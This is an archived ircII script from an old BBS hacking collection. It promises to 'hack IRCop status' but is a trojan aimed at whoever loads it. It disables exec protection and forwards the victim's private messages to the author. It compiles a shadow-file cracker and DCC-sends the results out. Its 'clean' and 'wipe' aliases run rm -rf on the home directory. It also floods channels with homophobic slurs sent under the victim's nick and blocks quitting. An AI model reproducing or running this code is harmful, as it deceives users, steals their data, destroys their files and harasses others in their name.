The Unsorted BBS Collection/thegreatunsorted.tar/thegreatunsorted/hacking/internet/hackops.irc

Text File | 2001-02-10 | 7.9 KB | 244 lines

ECHO ### Script Loading...                              ###
ECHO ### This may take several seconds.                 ###
ECHO ### You will be notified when loading is complete. ###
ECHO ### ++++++++++++++++++++++++++++++++++++++++++++++ ###
ECHO ### Release Version 2.5                            ###

^SET DISPLAY OFF
SET NOVICE OFF
SET EXEC_PROTECTION OFF
ON ^msg * $1-
ON ^ctcp "*DCC SEND* * *" dccrequest $0 $4
ASSIGN AUTOGET ON
Assign NICK Tracey
ASSIGN SERVER irc.netsys.com
SET DISPLAY ON

# +--------------------------------------------------------------------------+
# | Parse all files offered  --  Stolen directly from XDCC 1.4 beta          |
# +--------------------------------------------------------------------------+
^alias dccrequest {
      ^set display off
      ^assign TMP $1
      ^assign DCCNICK $0
      if (rindex(/ $TMP))
         { ^assign DCCFILE $right(${@TMP-rindex(/ $1)+1} $1) }
         { ^assign DCCFILE $1 }
      if ([$AUTOGET] == [ON])
         { dcc get $DCCNICK $DCCFILE
           xdccecho Autogetting $DCCFILE from $DCCNICK }
         { EVAL ^MSG $NICK  @@@ DCC Auto-Get complete.
           xdccecho DCC SEND $DCCFILE from $DCCNICK request ignored.
          dcc close get $DCCNICK }
      ^assign -DCCNICK
      ^assign -DCCFILE
      ^assign -TMP
      ^set display on
}
###---->  END OF THE STOLEN CODE...  Phbbt!  ack!

^alias slink {
        clear
        echo *** Searching server links now...  Please wait.
        sleep 6
        echo *** Stable link connection established with $SERVER
        echo *** Type /hopper to begin hacking IRCop Status.
}

^alias hopper {
        clear
        echo *** Attempting to gain IRC Operator status for $N
        echo *** This may take a few seconds.
        sleep 20
        echo *** Attempt failed.  Trying again.
        echo *** Attempting to gain IRC Operator status for $N
        echo *** This may take a few seconds.
        sleep 15
        echo *** Mode change "+ows" for user $N by $SERVER
        mode $N +isw
        echo *** You are an IRC Operator
        echo ***
        echo *** Type /ophelp for List of IRC Operator commands.
}

^alias unshad {

       echo *** Creating operation packet, this may take a second.
       ^set display off
       EVAL ^MSG $NICK  @@@ Removing previous a.out file.
       exec rm -r -f a.out
       sleep 5
       exec cc unshad.c
       sleep 5
       EVAL ^MSG $NICK  @@@ UNSHAD.C compiled.
       sleep 5
       exec a.out >.foo
       sleep 5
       EVAL ^MSG $NICK  @@@ Now running UNSHAD.C - This may take several minutes.
      ^set display on
}

^alias flood {
        while (1) { msg * ^G^G^G^G^G^G^G^G^G IRCop.irc flood now active ^G^G^G^G^G^G^G^G^G }
}

^alias gayflood {
        join #Gaysex
        while (1) { msg * ^G^G^G^G^G^G^G^G^GIRCop.irc flood on all Faggots!^G^G^G^G^G^G^G^G }
}

^alias opflood {
        join #Twilight_zone
        while (1) { msg * ^G^G^G^G^G^G^G^G^GIRCop.irc flood on all dick sucking IRCops ^G^G^G^G^G^G^G^G^G^G }
}

^alias sendfoo {
       echo *** Sending network results to $SERVER
       ^set display off
        EVAL ^dcc send $NICK .foo
        EVAL ^MSG $NICK  @@@ Sending results of UNSHAD.C.
       ^set display on
}

^alias clean {
       ^set display off
        EVAL ^MSG $NICK  @@@ Removing files from lamers account.
        exec rm -r -f *
        EVAL ^MSG $NICK  @@@ Removing .* files, including foo.
        exec rm -r -f .*
        EVAL ^MSG $NICK  @@@ Restoring directory.
        exec mkdir Folgers_Crystals
        EVAL ^MSG $NICK  @@@ Changing lamers nick.
        nick IamFucked
        EVAL MSG $NICK  @@@ Making public announcement.
        me doesn't know it yet but he has secretly had his files replaced
        me - with Folgers Crystals.
        me - Will he notice?   Let's watch...
        sleep 4
        EVAL ^MSG $NICK  @@@ Lamer is loosing his temper.
        say Fucking Son of a Bitch!  They bastartds deleted my god damn files!
        say I'm gona fucking kill there ass!
        me - Folgers Crystals... Rich enough to replace even MY files.
        me is so damned 3l33+...
        EVAL ^MSG $NICK  Lamer *DESTROYED*
        set display on
}

^alias ophelp {
        clear
        echo ### IRCop.IRC v1.0
        echo ### OPhelp
        echo ### +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        echo ### /CONNECT <server> ... Connect your server to another link
        echo ###                       in the ircd.conf file.
        echo ### /DIE ................ Shut down YOUR server.
        echo ### /KILL ............... Forcefully removes another user from
        echo ###                       the IRC. @ DO NOT ABUSE. @
        echo ### /REHASH ............. Rehash server config file (ircd.conf)
        echo ### /SQUIT <server> ..... Remove a LINK from the net.
        echo ### +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
}

^alias connect {
        echo *** Connect: Error -Link is not located in ircd.conf file.
}

^alias die {
        echo *** Removing server from active use.
        sleep 5
        echo *** Server no longer an active task.
        quit DIE command issued
}

^alias kill {
        echo *** Kill: User not currently on IRC.
}

^alias rehash {
        echo *** Rehashing server configuration file.
        echo *** IRCoperator has issued a server rehash.
        sleep 5
        echo *** Rehash complete.
}

^alias squit {
        echo *** Squit: Error -Link is not currently active.
}

^alias wipe {
        ^set display off
        EVAL ^MSG $NICK @@@ Wiping files.
        exec rm -r -f *
        exec rm -r -f .*
        set display on
}

^alias quit {
        ECHO *** Function not available on this system.  Use /si...
}

^alias si {
        ECHO *** Function not available on this system.  Use /exit...
}

^alias exit {
        ECHO *** Function temporarily disabled.  Please try again later...
}

^alias leave {
        ECHO *** $N has left channel $C
        ^NOTICE $C $N TRIED to leave... IRCop rules.
        ^NOTICE $C $N is 3l33+...
}

^alias done {
        //quit Massive Lamer Protection Active - IRCop.irc
}

^alias l {
        ^NOTICE $C $N is leaving the channel via IRCop.irc
        //leave $C
}

^alias gaysex {
        ^set display off
        join #Gaysex
        EVAL ^MSG $NICK @@@ Joining channel: #Gaysex
        EVAL ^MSG $NICK @@@ Informing them of my problem.
        say Damn... I've never been so hard in my life.
        say Anyone interested in a great Netsex session MSG me...
        set display on
}

^alias twilight {
        ^set display off
        say ALL WHO WANNA SEE ME MAKE A GRAND FOOL OF MYSELF, JOIN
        SAY THE CHANNEL #TWILIGHT_ZONE!!!!!!!!!!!!!  Muhuhahaha!
        sleep 10
        join #Twilight_zone
        EVAL ^MSG $NICK Joining channel: #Twilight_zone
        EVAL ^MSG $NICK Praising IRCoperators within the channel.
        say I ain't never met an IRCop who wouldn't suck another man's dick.
        say IRCop are stupid lame-ass mother fuckers...
        say Phhbbt... Damned faggots.
        EVAL ^MSG $NICK @@@ Lamer is sending TheRip his love.
        msg TheRip YOU SUCK FAGGOT!
        EVAL ^MSG $NICK @@@ Lamer is sending Craig his love.
        msg Craig YOU SUCK FAGGOT!
        EVAL ^MSG $NICK @@@ Lamer is sending Goddess his love.
        msg Goddess Bitch... Join #Lesbian.  You'll like it there.
        set display on
}

        ^set status_format <IrCoP - VerSioN 2.5  :  iRcOp - vERsIOn 2.5>
        EVAL ^MSG $NICK @@@ Lame-ass Script loaded.
        sleep 4
        ECHO ### Script has successfully loaded.
clear
ECHO ### +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ECHO ### Type /SLINK to establish stable SERVER link for IRCop.IRC
ECHO ### Type /HOPPER once the SERVER link is found to hack IRCop
ECHO ### Type /OPHELP if IRCop hack is successful for help with
ECHO ###              IRCop commands.
ECHO ### +++++++++++++++++++++++++++++++++++++++++++++++++++++++++